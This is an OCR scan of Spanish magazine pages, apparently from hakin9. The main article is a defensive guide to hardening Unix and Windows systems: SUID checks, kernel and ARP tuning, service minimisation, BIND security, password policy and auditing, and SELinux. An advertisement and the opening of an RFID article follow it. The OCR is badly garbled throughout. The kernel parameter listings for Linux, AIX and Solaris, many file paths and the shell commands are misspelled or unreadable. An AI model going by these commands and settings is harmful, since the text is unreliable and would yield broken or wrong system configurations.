cho de tener acceso plblico, han de
ser convenientemente asegurados
teniendo en cuenta que cualguiera
puede acceder a ellos por el hecho
de tener acceso publico.

| G - #x

Figura 2. Pitbull, implementacion de TOS
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Debemos parlir del hecho de
gue estan protegidos detrds de un
firewall, asi que es mejor centrarse
en aspectos de la seguridad ldgica
mas orientados al software que a la
red, prestando especial atencidn al
nivel de seguridad que ofrecen las
aplicaciones que corren sobre él, ya
que son estas los principales puntos
débiles del sistema. Considerando
tambign, como en el resto de los
casos, que el Sistema Operalivo, es
uno de los puntos débiles, y dedican-
do en mayor o menor medida tiempo
a asequrar las politicas de usuarios y
accesos en funcion de si el host tiena
posibilidad de acceso remato o no.

Otros sistemas

Los sisternas a los que no se tiene
acceso publico presentan a menudo
riesgos de seguridad desde otro

punto de vista: la seguridad interna.
Aqui el principal problema es la ini-
cial presuncion de seguridad dentro
de una red interna, que puede estar
incluso aislada del exterior. El peligro
de estar confiado es que se relajan
las politicas de seguridad locales
en cuanto a la configuracion de los
sistemas, que sin tener que estar
tan asegurados a priori como los
sistemas conectados directamente a
Internet, también deben asegurarse
por muchas razones, entre ellas:

= Buelen tener acceso a redes con
informacion mas sensible, datos
confidenciales, o a sistemas crifi-
cos respecto a la disponibilidad de
los servicios;

= Son porlo general, mas accesibles
dentro las redes internas e incluso
accesibles fisicamente (maquina

Listado 1. En GNU/Linux:

-

fprocfsys/nat/iovg/

conifallraccepr redirecEs:

3 F - S
fproci/sysinec/ipvdfeonf/all/acceps source coute:
o ' = o e - 11 f -
S PICE S/ NATS LEVe cenffallfsend redicecta:
e e it
fproc/aysfnet/ipvs/icop echo ignore broadcasts:
rprocisys/neatsipvd/fio forward:
¥ i |
fpreci/sysinet/iovd/infrag tima:d |
nat/ipwvasoep kespalive incvl: [
= kespaliveg probag: s
i Ha G ML
i /e orphan recriseg:s |
tep_ozphan_ratrles: |
odftep max orphans:d14 |

sysSeakfipn

proc/ays/ et/ ipw

fprocSsys/frac/ipy

Ev4 ESD Max -4 E tifklﬁg:. L
praftep max v buckets::
pvastcp sack:]

riftcp syn retries:4

f/tcp abore_on_overflow:

a/nelgh/dafsulkfge stale time:sd

Listado 2. En AlX con ef comando fusr/shin/no -o

sonaxconn: 4056
pIendredireccsil

| “pforwarding:d

| tep keepidle:do
bcastring:
ipignoreredirects
iparcooutasand:
WPEECIOUTareCy Il
ipsrerouteforward

Arpt killeg:.

| Listado 3. En Solaris con el comando ndd -set

fdeviip ip forwar
/dev/arp arp clea

fdeviip §p respon

ding
nup interval 2i

d to_scho broadcast

fdevitcp tcp conn req =ax gl 408

fdevitcp Cop conn_ceq max g 1024

www. haking. org

con shell abiertos y pantallas dis-
ponibles a cualquiera que pase por
ahi, puntos de red accesibles, ca-
bles visibles, acceso a las fuentes
de alimentacian, acceso al soporte
de backup, etc);

* Pocas veces se llevan auditorias
internas de sistemas no criticos, y
esto, unido a esa falsa sensacion
de seguridad, hacen que sea mu-
cho mas complicado — de lo que va
es — detectar una posible intrusion;

 5i un atacante externo se hace
con una de las maquinas de la
red interna, se puede decir sin
miedo a exagerar que lenemos
una situacion critica, ya que el
acceso a cualquier otro punto de
la red puede ser trivial.

Por eso estos sistemas, aungue no
tan seguros como otros, también de-
ben contar con una metodologia de
sequridad y de mantenimiento. Es im-
portante prestar atencidn a la correcta
configuracién de los sisternas - aun-
que sea basica — para poder evitar
problemas mayores en un futuro,

Creacion de una
checklist manual

En la seguridad de sistemas es im-
prescindible tener algun fipo de refe-
rencia de lo que estamos haciendo, el
estado en el que estaba, y lo que nos
queda por hacer, s decir, un pequefio
guion de los pasos a seguir. Debemos
adaptar este guién a nuestras necesi-
dades e intentar cumplirio en todas las
maquinas que aseguremaos, para estar
seguros, cuando haya pasado un tiem-
po, de los elementos de seguridad que
miramos en cada sistema. Este chec-
klist deberia contemnplar el elemento
revisado, y el estado en el que estaba,
asi como si se soluciond el problema o
no. El grafico adjunto seria un ejemplo
de un fragmento de una checklist para
un sistema Sun Solaris 8.

Revision general de
integridad del sistema
Cuando hablamos de revisar un sis-
tema que ya estd en produccion, es
decir, ha podido ser atacado y vulne-
rado previamente a nuestra revisién,
para tener en cuenta esto haremos
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Tabla 1: Checklist Solaris

1.2. Instalacion Sistema Dpamﬁvn

P R e
(LN EeR
2

3

2

1

0

0

1

0

0

0

2

1

3.2.3.4. Otros servicios de red activos en el sistema 1

3.3. Control del trafico. TCP Wrappers 2

3.5.1. Revision ficheros /etc/passwd vy Jetc/shadow 0
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un par de pruebas para detectar po-
sibles intrusiones y modificaciones
sobre la configuracion original del
sistema. En los casos mas comu-
nes de intrusion siempre existe un
intento de preservar ese estatus de
acceso al sistemma mediante el uso
de alguna técnica que nos garantice
el poder entrar a voluntad en el sis-
tema violado.

Rootkits y caballos

de Troya

El uso de rootkits: herramientas ti-
picas del sistema (login, ps, Is, who,
fast, eic), que por un lado ocultan la
presencia del intruso y por otro lado
la facilitan. Son versiones modifica-
das de las herramientas normales
de administracion. La mejor manera
de evitar la instalacion de Rootkits
es mediante sistemas de compro-
bacion de integridad de archivos
(por ejemplo, Tripwire), para conocer
cuando un binario ha cambiado. He-
rramientas como Babel Enterprise
automatizan esta gestion y notifican
cuando aparece un fichero nuevo
en un directorio critico, o cuando un
fichero determinado ha cambiado su
contenido mediante |a generacion y
gestion de hashes de forma centra-
lizada.

Existen diversas herramiantas
que nos ayudaran a encontrar ca-
ballos de troya o elementos sospe-
chosos, como virus o capturadores
de teclado / pantalla, muy usados
en el phising. Lo mejor para ello
es tener actualizado un anfivirus y
correr periddicamente herramientas
de deteccidn de caballos de troya,
algunas de ellas:

«  ClamAV: Antivirus de codigo li-
bre multiplataforma. hitp:/www.
clamav.nel/,

»  RootKit Hunter: Herramienta libre
de blisqueda de troyanos (para
Unix): hitp:/fwww.rootkit.ni/;

» ChkRoctkit: Herramienta libre
de blsqueda de troyanos (Unix).
http.Ywww.chkrootkit.org/,

= SpyBot S&D. Herramienta de
blisqueda de trojanos y spyware
(Windows). http://www.safer-net-
working.org/es/index. hitml;

*  Detectores de troyanos y rootkits
(Windows). Muchos rootkits mo-
dermnos usan técnicas de oculta-
cion que los hace invisibles ante
los antivirus, y es necesario utilizar
herramientas mas especializadas,
COMO por ejemplo:

* F-secure Blacklight.
http:/iwww.f-secura.com/
blacklight/;

* leeSword
hitp://www.xfocus. net/tools/
200509/lceSword_ent1.12.rar

Ficheros SUID0O

En sistemas UNIX el uso incorrecto
de SUID o SGID puede ser muy
peligroso, simplemente poniendo el
bit de SUID en /bin/sh podemos dar
permisos de root a cualquiera que lo
ejecute. Debemos estar atentos a
nuevos ficheros de estas caracteris-
ticas que se localicen en la maquina;
demasiadas aplicaciones de Unix se
instalan por defecto con ejecutables
setuidados cuando realmente este
bit no es necesario, por lo que a
la hora de instalar nuevo software
0 actualizar el existente hemos de
acordarnos de resetear el bit de los
ficheros que no lo necesiten. Espe-
cialmente grave es la aparicion de
archivos setuidados de los que el
administrador no tenia constancia (ni
s0n aplicaciones del sistema ni apli-
caciones afadidas), ya que esto casi
en el 100% de los casos indica que
nuestra magquina ha sido comprome-
tida por un atacante. Esto es facil
de detectar mediante unos simples
comandos;

SerlID  Sfuscfbinfiind f -persm -4000 -ls
SatGID fusc/binSlind f -pezm =2000 =1=
Sticky Bit  fusc/binffind / -pamm -1000 -1s
Si un fichero SETuid( aparece en un
directorio de usuario, un directorio
extrafio (por ejemplo Avarfog o /tmp),

seguramente implique una intrusion.

Ajustando el kernel

A manudo el kernel o nidcleo de nues-
tro sistema incluye una parametriza-
cion débil de elementos criticos de
red, como pueden ser el refresco ARP,

el tamafio de los buffers o el buffer de
conexiones entrantes. En los sistemas
Unix, se puede acceder a estos pa-
rametros directamente, en sistemas
Windows tendremos que modificar
diferentes Keys del registro.

Un ejemplo muy sencillo de gué
tipo de vulnerabilidades podemos co-
rregir con estos ajustes sobre el kernel
son los ataques de ARP Spoofind. No
los podemos evitar asi, pero podemos
mitigar su dafio. Por ejemplo, para
atagues ARP, tenemos dos diferentes
posibles veclores de atague:

* Cache poisoning (llenar el caché
de otros host con una informa-
cion falsa acerca de nuestro par
IP/MAC de forma que no pueda
encontrar nuestro host a nivel dos
para una respuesta eventual);

 MAC Spoofing, consistente en
hacernos pasar por otro host a
nivel de enlace, con los peligros
que ello representa.

Ambos peligros se pueden mitigar
utilizando un refresco mas rapido en
la caché de ARP y/o estableciendo
una serie de MAC estaticas cargan-
dolas en el arranque del sistema
mediante comandes arp.

La RFC 826 especifica que las
entradas de ARP se deben borrar
después de un tiempo razonable.
Unos cinco minutos para la tabla de
ARP y unos veinte minutos para la
parte de |IP. Esto puede mejorarse
desde el punto de vista de la segu-
ridad reduciendo estos tiempos a un
minuto, para modificar estos para-
melros bastan los comandos:

fusc/shin/ng -o arpt killce
20 [EM ALX)

echo “20° » Sfpracfays/nee/
ipvaSmeighsechld/s
go_stale time (LEWUX)

ndd -get fdev/arp
arp cleanup interval
20000 (5olaris)

ndd -set Sdev/ip
ip lre arp interval

20000 (Salaris)

La otra posibilidad es cargar en el
arrangue un archivo con todos los

www. haking_ org



pares IP/Mac de la red, fijandolos y de
esta forma impidiendo un poisoning
de la caché ARP. Para simplificar este
proceso, lo mas idéneo seria apuntar
en la lista los pares |IP/MAC de los ga-
teways de |a red asi como de los hosts
mas importantes (consola de FW-1,
otros modulos de FW-1, router, servi-
dor DNS, sistemas de autenticacién,
elc). Si por ejemplo, tenemaos el fiche-
ro par_mac_ip.txt con el contenido:

a S fsinm sy ot
UL U =] . B
hast? domieds o ‘M¥ulal

Y EtL BRI RLE,

gl x
com ORISR ad s g 3

hostd.doninic.com 08:00:20:b23:48:87
Podemos cargarlo con el comando
arp =f par mac ip.txr

Existen numerosos parametros del
kernel gue podemos manipular y
mejorar referentes a la pila TCF/IP.
En cada sistema hay que mirarlo en
sitios diferentes.

Securizacion de sistemas

Minimizando el sistema.
Eliminando servicios y
software innecesario
Para este punto es fundamental la
informacion de los servicios que son
necesarios en el sistema, ya que no
podemos deshabilitar un servicio si
no estamos absolutamente seguros
de que eso no va a afectar al funcio-
namiento del servidor, Siempre se
dice que conviene quitar los servicios
no necesarios, pero veamos algunos
ejemplos practicos de porgue tener un
SErvIiCio que no vamos a utilizar puede
ir n contra nuestra.

Si tenemos un servicio corriendo
en el host, configurado por defecto,
cualquiera que sepa un poco acerca
de la tecnologia de nuestros sistemas
conocera las password por defecto,
configuracion por defecto, permisos
por defecto o problemas por defecto
de ese software, solo le basta buscar
a alguien que tenga ese servicio,
mirar la versidn y probar el bug, que

pueda ser un fallo del software o una
falta de configuracién o mala configu-
racion.

Un servidor SNMP configurado
por defecto suele tener la comuni-
ty read public, que nos puede dar
muchisima informacion del sisterna,
incluyendo direcciones |P, rutas, soft-
ware instalado, servicios comiegndo,
procesador, nombre del host y otra
informacién de interés para atacan-
tes. Recientemente un bug en la im-
plementacion de muchos demonios
SNMP de diversos fabricanles fue
utiizado mediante un exploit para
provocar un DoS en el host que corria
el servicio. Mucha gente no era cons-
ciente de que su sistema era vulnera-
ble porque no sabia si habia instalado
0 no ese software, Solaris lo instala
por defecto. Muchos servidores FTP
mal configurados permiten a usuarios
andnimos hacer upload de archivos,
existen herramientas de escaneo de
fip con permiso plublico de escrilura/
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Network Mapper y Monitor LANState
Ayudan a Gestionar la Red

LANState es un software de gestion y administracion
para redes Microsoft Windows. LANState contiene un
monitor de dispositivos de red, que permite al admi-
nistrador ver el estado de la red en cualquier momento
en un diagrama grafico, y obtener notificaciones en el
momento en el que los dispositives se apagan o cuan-
do estan disponibles, asegurando de esta manera una
pronta respuesta a los fallos minimalizando la perdida
de tiempo.

LANState genera un map de red, que acelera el ac-
Ces0 a recursos remotos, y permite la gestion de estos.
Empleando LANStale se hace mas facil monitorizar
procesos en redes de cualquier rango y tamano debido
a la oportunidad de enlazar aplicaciones externas, como
gestores de archivos o software de administracién remota
al programa.

La funcionalidad del programa se basa en periodi-
camente ir controlando los dispositivas disponibles en
el mapa grafico haciendo pings o intentando conectarse
al puerto TCP requerido a través de la red, o aplicando
ofro tipo de comprobaciones. Los administradores pue-
den configurar el programa para que responda a suce-
s08 determinados: mostrando un mensaje, emitiendo
un sonido, enviando un email, ejecutando programas

externos, grabandolos en un log, mandando mensajes
a un teléfono maévil.

LANState incluye una serie de funciones para ob-
tener informacion de equipos remotos y gestionarlos.
EL administrador de la red puede acceder al registro
de Windows, ver el registro de eventos, ver la lista de
software instalado y los procesos que se estan eje-
cutando, gestionar los servicios, escanear y localizar
puertos TCP abiertos, apagar y reiniciar equipos.
LANSIate no requiere instalar ningin software en los
equipos remolos.

El programa también contiene monitor de conexion que
escribe logs notifica al usuario cuando alguien se conecta
a sus recursos compartidos. El monitor de trafico permite
ver la actividad de la red y los ratios de transferencia.

LANState Pro es una version mas avanzada del pro-
gama. Conliene un web-server para mostrar diagramas
interactivos de red a usuarios de la red via protocolo HTTP.
De esta manera, el programa puede ser instalado y confi-
gurado en un Onico y todos los usuarios de la red pueden
ver el estado de la red a través de sus navegadores web.

La versidn de prueba de LANState esta disponible en
htto./fwww.10-strike.com/anstate/> para descargarla gra-
tuitamente. @
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lectura, que buscan victimas para
crear repositorios plblicos de warez
(software pirata).

Los gusanos aprovechan wvul-
nerabilidades de serie para propa-
garse, es decir, buscan de forma
automatica sistemas que han deja-
do la configuracion basica y dicha
configuracion trae un bug documen-
tado que al necesitar corregirse de
forma manual por el administrador
que muchas veces desconoce que
ese servicio se halle corriendo ya
que no lo ha configurade ni tiene
constancia de que exista. Ejemplos
tenemos MNimda y Red alert que
utilizaban wvulnerabilidades de IIS.
También existen precedentes de
qusanos Unix.

Sistemas BIND de multiples
versiones eran susceptibles a ata-
ques de Buffer Overflow, que bien
realizados permiten la ejecucién de
comandos remotos. Si no lo esta-
mos usando, es mejor desactivar el
software, ya que aungue no tenga
una vulnerabilidad conocida ahora es
mas que probable que en un futuro al-
guien descubra una, y ese dia pode-
mos ser vulnerables sin ninguna ne-
cesidad. Un ejemplo del propio Alex
Noordergraaf, es &l OpenWindows
Calendar Manager Server. Daemon
{rpc.cmsd), que es totalmente innece-
sario en casi cualquier servidor. Esle
demonio se instala por defecto en las
instalacion de End user, Developer, o
la distribucion completa y tiene varias
vulnerabilidades conocidas para las
ultimas versiones de Solaris.

FPara desaclivar servicios que
estan corriendo en nuestra maquina,
en sistemas Unix, estos dependen
del fichero fefc/initiab y de la estruc-
tura de niveles de System V. El fiche-
ro /etc/inittab contiene generalmente
la secuencia de scripts de arranque
del sistema, y tiane un formato espe-
cial. Ahi se pueden ocultar también
servicios programados para el arran-
gue. Hay que tener en cuenta que las
primeras lineas no comentadas de
este fichero son necesarias para el
arrangue del sistema.

En sistemas Unix, este script lista
los scripts ulilizados en el arranque
del sistema:

fuscrbin/geep -v =*:=* fate/S
initrabk | JuscSpinfeut =dr -£4

fusr/bin/ls ferefre?.d/8=

En sistemas Windows, existe un
panel de control donde se puede ver
los servicios que estan actualmente
corriendo, y se pueden parar o des-
activar. Es muy aconsejable antes de
desactivar cualquier servicio, probar
a pararlo y comprobar que el com-
portamiento del servidor as correcto
¥y que no hemos desactivado nada
criico. Existen diversas referencias
a la hora de minimizar servicios
en cada arquitectura. Herramientas
como Babel Enterprise traen juegos
completos de servicios que deberian
desactivarse por defecto en diferen-
tes sistemas operativos.

En sistemas UNIX, los servicios
dependientes de INETD o XINETD
también deben ser considerados a
todos los efectos como candidatos a
ser desactivados, esto es especial-
menta importante en sistemas como
Solaris o AlX que disponen de gran
cantidad de servicios habilitados por
defecto (entre ellos FTP o Telnet) de-
pendientes de INETD. Esto se pue-
de parametrizar en /Selc/inetd.conf
generalmente.

Ejemplo de asegurar
aplicaciones del
sistema: Bind

Si nuestro sistema necesita ejecutar
un servidor de nombres, debemos
prestar especial atencidn, sobre todo

si se Irata de un servidor externo ya
que siempre estara mas expuesto a
posibles ataques.

Hay mialtiples razones por las
cuales se considera que un servicio
DNS es generalmenteé un servicio
clave, vy en el que debe prestarse es-
pecial atencion a la hora de asegurar
de forma correcta, aqui tenemos
algunas razones por las cuales de-
beriamos considerar los riesgos de
sequridad:

* Un atacante puede obtener mu-
cha informacion si las transfe-
rencias de zona son posibles: la
lista entera de hosts y routers con
direccion |IP, sus nombres e inclu-
s0 comentarios dan datos para
mapear nuastra red por parte del
intruso;

« DoS: Si nuestros servidores DNS
caen, nuestro sistema no es visi-
ble. Perdemos todos los servi-
cios externos que dependan de
un nombre. Esto incluye correo,
http, ftp y cualquier otro servicio;

* Perdida de integridad: Si un ata-
cante modifica nuestros datos,
hace un DNS Spoof o monta un
DMNS Fake (un DNS falso que re-
emplaza al nuestro después de un
DoS), puede inducir datos falsos a
conexiones desde Internet. Puede
redirigir nuestros servicios (mail,
web, afc) a otro sistema. Esto se
conoce como DNS Polsoning, y es
muy peligroso porque virtualmente
deswvia todas nuestras conexiones

"
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a un site que puede estar controla-
do por el atacante;

* [Falsear datos de autenticacion
basada en direcciones de nom-
bres, si nuestro proxy o firewall
permite el paso a determinadas
direcciones en funcion de su nom-
bre, podemos falsear el DNS para
evilar esta proteccion, Lo mismo
se aplica a muchos servicios que
basan su autenticacién en nom-
bres en vez de IP {rlogin, eic).

Para asegurar un servidor de nom-
bres, es necesario considerar los
siguientes aspactos:

* Lo primero que deberiamos tener
en cuenta es que un servidor DNS
deberia estar montado sobre una
maguina dedicada y asegurada al
maximo. No conviena en absoluto
compartir el sistema con otros
servicios, especialmente si estos
implican el login de usuarios den-
tro del mismo host;

*+  Redundancia: Instalar un servidor
secundario en una red diferente
(incluso como servidor contratado
&N una empresa ajena), o tener
repartidos nuestros servidores
de nombres en distintos em-
plazamientos logicos (e incluso
fisicos) ayuda bastante a mitigar
el posible dafio de un DoS y las
CONsSecUencias que eso tiene;

« LUtilizar la ultima versién conocida
sin vulnerabilidades, para ello
podemos consultar CERT y BUG-
TRAQ. Estar permanentemente
y de forma periddica, atento a
nuevas vulnerabilidades de BIND
para hacer un upgrade o instalar
un parche cuando sea necesario;

« Restringir las transferencias de
zona al minimo. Seria interesante
no permitir bisquedas recursivas;

* Ejecutar BIND con un usuario
diferente de root;

* Configurar BIND para gue no
informe sobre su niomero de ver-
sion. Ocultar toda la informacién
posible a un atacante siempre
ayuda.

Existen muititud de servicios que
pueden -y a menudo deben- ser

configurados de forma segura, los
ejemplos mas comunes son los
servidores WEB (lIS, Apache), ser-
vidores de aplicaciones (Tomcat),
agentes SNMP, servidores Telnet,
FTP y SSH, servidores de base de
datos (como MySQL u Oracle), ser-
vidores de correo como Sendmail o
Postfix ¥ un largo etcétera. Gene-
ralmente basta con comprobar un
par de elementos clave, tales como
passwords por defecto, versiones,
parches y permisos sobre los fiche-
ros de configuracion. Se ha deta-
llado en profundidad seguridad de
Bind simplemente como ejemplo.

Politicas de cuentas de
usuarios y passwords
En sisternas Unix, gran parte de
la informacion de usuarios y pas-
swords se almacena en el fichero
Jefc/passwd, y como primer paso se
debera revisar este fichero y compro-
bar que no existen usuarios exirafios
ni ningdn usuario con UID0 excepto
root. En sistemas Windows el coman-
do para visualizar los usuarios del
sistema es nel user

Mo debe haber ningun usuario sin
password. No debe de haber ningdn
usuario que no tenga password y en
especial el usuario root. Es de vital
importancia el comprobar de forma
pericdica que no hay usuarios sin
password. Tampoco debemos tener
ningun uid repetido. El uid asignado a
cada usuario debe de ser Unico y no
estar repelido.

El endurecimiento de las politicas
de autenticacion es generalmente
molesto en un sistema cuyos usua-
rios ya se han acostumbrado a usar
siempre la misma password, o a utili-
zar password poco seguras, cortas o
que no caducan, pero genaralmeante
el sistema de login/password es uno
de los factores mas vulnerables.
Para ello podemos dotar al sistema
operative de unas medidas mas
estrictas.

Considerar seriamente la politica
de passwords e implementar una
caducidad en los passwords. En ca-
da sistema se puede hacer de una
manera determinada, en Windows
con el editor de politicas de seguri-

dad, y en GNU/Linux modificando
los siguientes parametros del fichero
Jfetcflogin.defs:

CHEW RESTRICT ruh
LOGIH_TIMEQUT 120
LOGIH_RETRIES 3
FASS MAN DAYS &0
PASS MIN DRYS 0
FASS WARN_AGE T
ERV SUPATH  PATH=
fusrflocal/sbhin: fusc/localfbin:
fuge/abin: fusc/binc/shin:
fbin:/fuse/bBin/¥1)

ENY_PATH PATH=

jusc/local fbin: fuse/Bin: /Bin:
fese/bindX11:fuse/games

FAIL DELAY 10

Existen formas de implementar me-
canismos de autenticacion segura
en sistemas Unix mediante modulos
PAM especializados. PAM (Pluggable
Authentication Module) es un método
estandar en muchos sistemas Unix
que permite utilizar un método de au-
tenticacion diferente al estandar: tar-
jetas de coordinadas, OTP (One Time
Password), S/Key, Kerberos, u otros.
La arquitectura PAM ha venido a so-
lucionar diferentes problemas histéri-
cos de |la autenticacion de usuarios
en entornos Unix, especialmente en
entornos complejos, proporcionando
una independencia entre los servicios
del sistema vy los mecanismos de au-
lenticacion utilizados.

Auditando los passwords con

John the Ripper

Es muy importante hacer una
pequefia auditoria del grade de
seguridad de los passwords (en
sistemas con un ndmero de usua-
rios medio/afto), utilizando wuna
herramienta como John the ripper
para testear el grado de calidad de
los passwords., Generalmente sor-
prende ver como ciertas cuentas
pueden tener passwords tan facil-
mente adivinables.

Es uno los de los puntos mas
vitales y a menudo mas despro-
tegidos. Podemos encontrar esta
herramienta ampliamente difundida
en Internet, y es codigo libre: htip://
www.openwall.com/ohn/ En Win-
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dows, necesitamos PWDUMP para
poder emplear primero John.

En esta pagina encontraremos
informacidn de coma hacerlo: http:/f
www.foofus.net/fizzgig/ wdump/,

Otras tareas
importantes en la
seguridad de sistemas
Hemos hablado de las tareas crili-
cas mas habituales en |la seguridad
de sistemas. Existen muchas tareas
mas que podemos realizar y que aln
no hemos hablado de ellas. Estas ta-
reas generalmente deben realizarse,
aungue depende del grado de segu-
ridad que queramos implementar.
Esta seria una breve sinopsis:

= Auditando permisos y ownership;

* |dentificacion de ficheros SUIDD
del sistema;

* Revision de las politicas de audi-
toria y registro (Logs);

= Asegurar del entorno. Entornos
criticos (Root);

«  Asegurando servicios remotos.
S35H, RLOGIN, Telnet, FTP vy
otros,

« |dentificando hosts sospechosos
en redes adyacentes;

* Revision de puertos abiertos y
aplicaciones en escucha;

*  (Gestion del inventario de soft-
ware instalado;

= Gestion de parcheado y actualiza-
cién en diferentes plataformas.

Muchas de estas tareas son terri-
blemente manuales y dificiles de
hacer -por su tediosidad- sin una

herramienta automatica. Algunas
tareas, como la de verificar los
permisos y la propiedad de los
usuarios son complicadas sin tener
una referencia de todos los ficheros
criticos del sistema y los permisos
¥ propietarios que deberian tener.
Existen herramientas como ASSET
(solo para Solaris) que sirven para
estos propositos, pero son muy de-
pendientes del sistema operativo.
Otras herramientas como Babel
Enterprise permiten gestionar es-
to mismo de forma centralizada
¥ parlicularizada para Sistema
Operativo. En sistemas Unix reali-
zar un script es generalmente sen-
cillo v existen muchos ejemplos,
integrados también en los proyec-
tos de sequridad de sistemas Unix:
SECUR, TITAN, JASS y YASSP

Automatizacion en la
seguridad de sistemas
Estos provectos ademas suelen
comprobar algunos de los elemen-
tos criticos mencionados. También
existen diversos organismos, entre
ellos el Centro Criptografico Nacional,
dependiente del CNI (Cenfro Nacional
de Inteligencia) que proveen de guias
de militarizacion para diversos siste-
mas. Guias del CCN: hiip:/www.ccn.
cnies/series.himl. Generalmente es-
tas guias son descripciones de proca-
dimientos manuales complicadas de
automatizar. Otras guias como las del
CIS (Center for Internet Secuntly) pro-
veen herramientas y scripts de valora-
cion que pueden ser muy interesantes.
CIS hitp.//www.ClSecurify.org

En la Red

+  hipdfsysinternals.com/Blog).
«  hitpintsecurity.nu;
*  hilp:fferwan.i free.frfindex. htmi;

«  hitp:Xescert upe.esindes. phpfweablasindeax himl;
*  hitosfwww porcupine.org/forensics/column. fimi,
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El principal problema de las
herramientas de militarizacion o
simplemente de auditoria de segu-
ridad de sistermas (que comprueban
que esta mal, pero no lo arreglan)
@5 su caracter local, es decir, se
gjecutan en una maquina, y dan
los resuliados en un formalo poco
manejable, generalmente sobre un
fichero en &sa misma maquina.

Esto limita mucho las posibilida-
des de gestionar eficientemente un
parque de sistemas importante (mas
de 10 maquinas). Para ello existen
herramientas especializadas, de las
cuales comentaremos dos:

Enterprise Security Manager,
de Symantec. Es una herramienta
orientada a entornos corporativos
que audita muchos de los parame-
tros descritos aqui. ESM necesita
de agentes distribuidos en cada
madquina que se quiere auditar,
soportando gran variedad de pla-
taformas y sistemas operativos.
Ejecuta politicas parametrizadas
por el usuario en un antorno centra-
lizado y permite obtener resultados
detallados de cada sistema asi como
evaluar numéricamente el grado de
seguridad de cada sistema, man-
teniendo ademas un historico de
la evaluacion de cada sistema, por
grupos y tecnologia. hitp./fwww.
symantec.com/aveenter/securily/
Content/Product/Product  ESM.htm|

Babe! Enterprise (htip.//babel.-
sourceforge.net), es un proyecto de
Software Libre. Permite mediante
un despliegue de agentes ligeros
(escritos en shellscript) auditar dife-
rentes elementos de seguridad del
sistema operativo, tales como cuen-
tas de usuarios {incluyendo un test
con John de Ripper), permisos de
ficheros, bisqueda de SUIDO, mini-
mizacion de servicios innecesarios,
gestion centralizada de parches y
gestion centralizada de hashes de
ficheros entre otras muchas carac-
teristicas. De igual forma que ESM,
permite obtener resultados dela-
llados de cada sistema asi como
evaluar numéricamente el grado de
seguridad de cada sistema, mante-
niendo ademas un historico de la
evaluacién de cada sistema.

www hakin®, org



Seguridad en sistemas
de alto nivel, sistemas
operativos seguros.
SELinux y Pitbull

Por dltimo, y para terminar este
breve articulo sobre la seguridad de
sistemas, me gustaria hablar sobre
implementacion de mejoras de alta
sequridad sobre a los sistemas tradi-
cionales, hablo de la implementacion
de MLS (Multi Level Systems) como
SELinux o Pitbull

Los sistemas Unix habituales (AlX,
Solaris, HP-UX, GNU/Linux, BSD)
utilizan utilizado el modelo de control
de acceso discrecional (Discretionary
Access Control, DAC) en el que un
usuario tiene un complelo control so-
bre los objetos que le pertenecen y los
programas que ejecuta. Asi mismo, el
programa ejecutado por un usuario
tendra los mismos permisos de ese
usuario que lo esta ejecutando,

Esto implica que la seguridad
del sistema depende de las aplica-
ciones que se estan ejecutando vy,
por tanto, cuando se produce una
vulnerabilidad de seguridad en una
aplicacion, ésta afecta a todos los
objetos a los que el usuario tiene

acceso. Si la aplicacidn es ejecuta-
da por el usuario root, el atacante
puede obtener los maximos privi-
legios en la magquina, comprome-
tiendo totalmente la sequridad del
sistema.

Otroc modelo de control de
acceso &5 el denominado control
de acceso obligatorio (Mandatory
Access Control, MAC), donde existe
una politica de seguridad definida por
el administrador vy que los usuarios
no pueden modificar. Esta politica va
mas alla de establecer propietarios
de archivos sino que fija contexios,
an donde se indica cuando un objeto
puede acceder a otro objeto. Este
modelo de control de acceso pue-
de aumeantar &l nivel de seguridad,
especialmente cuando se establece
como base de la politica definida que
no se permite cualquier oparacion no
expresamente autorizada.

Los sistemas que implementan
MAC, simplemente afiaden unos
nuevos juegos de comandos y ex-
panden los existentes, afadiendo
ademas nuevas listas de control,
grupos o dominios para gestionar
los permisos, grupos V usuarios,

Securizacion de s

alemas

afadiendo ademas nuevas caracte-
risticas de seguridad como permisos
mucho mas granulares. Fodemos
hablar de dos herramientas de este
tipo: SELinux (http://selinux.source-
forge.net) puede considerarse como
una implementacion practica del
modelo de seguridad de control de
acceso obligatorio basado en el
nacleo del sistema operativa GNLUY
Linux. Bajo SELinux, se otorga ac-
ceso al sistema a los procesos en
base a los diferentes dominios de
ejecucion, Cada dominio posee un
conjunto de operaciones que pue-
de llevar a cabo sobre cada uno
de los diferentes tipos de archivo,
directorio u otro recurso. Pitbull
(http:/'www.argus-systems.com/)
es una implementacion, de TOS
[ Trusted Operating System) para sis-
temas GNLU/Linux, AlX v Solaris. Tie-
ne diferentes versiones (LX, Founda-
tion). Tiene la certificacion Common
Criteria LSPP de EAL 4+, lo cual es
mas de lo que pueden decir cualguier
praducto similar. Se trata de un pro-
ducto de gran complejidad técnica v
de administracién y que proporciona
una seguridad de grado militar, ®
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(" En la lucha eterna del equilibrio entre la seguridad y la

Frequency ldentification).

FID, s una tecnologia de identificacion

por radiofrecuencias, que permite el

reconocimiento automatico a distancia,
basado en uno de sus principales componentes
los TAGS (Efiquetas) de RFID, permitiendo esto
un beneficio muy importante en lo que refiere a
la logistica, la distribucién y la cadena de abas-
tecimiento, pero como veremos mas adelante
la aplicacién de esta tecnologia, también esta
siendo adoptada en muchos ofros aspectos y
procesos, como el control de accesos y el pago
electrénico y la identificacion de documentacion
personal. Un Sistema de RFID suele basarse en
varios componentes: Tags, Tag Readers, Froni-
Ends, Middleware, Back-Ends.

RFID - La tecnologia

y sus componentes

Esta tecnologia permite la transmision de infor-
macidn a distancia gracias a la etiqueta RFID
(TAG), la cual, al ser leida por el Lector de RFID
transmite la informacién contenida en ella a la
aplicacion intermedia (Middleware) la cual, se
encargara de procesarla, para finalmente tomar
o depositar la informacion, en una base de datos,
lipicamente ubicada en el back-end. (\Ver Figura
1) Esa informacion transmitida por el Tag puede
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funcionalidad, ya hemos visto pasar a varias tecnologias, solo
por mencionar algunas 802.11, Bluetooth entre otras, pero como
no podia ser de otra manera le llego el turno a RFID (Radio

proveer informacion relacionada con la identifi-
cacion del producto, la ubicacion de la mismo,
o bien otros datos especificos que puede con-
tener el Tag, tales como color, precio, datos de
compra, datos de vencimientos entre otros.

RFID - Tipos de Etiquetas

Existen distintos tipos de efiguetas (Ver Figura 2),
estas se diferencian entre si, por la frecuencia
en la que operan, la cantidad de informacion

—
En este articulo aprenderas...

= Que es RFID (Radio Frecuency Identification);

» Como funcional esta Tecnologia,

» Cuales son sus aplicaciones mas habituales,

» RFID, La privacidad de la informacion y la legis-
lacidn vigenle;

« Cuales son los nesgos.

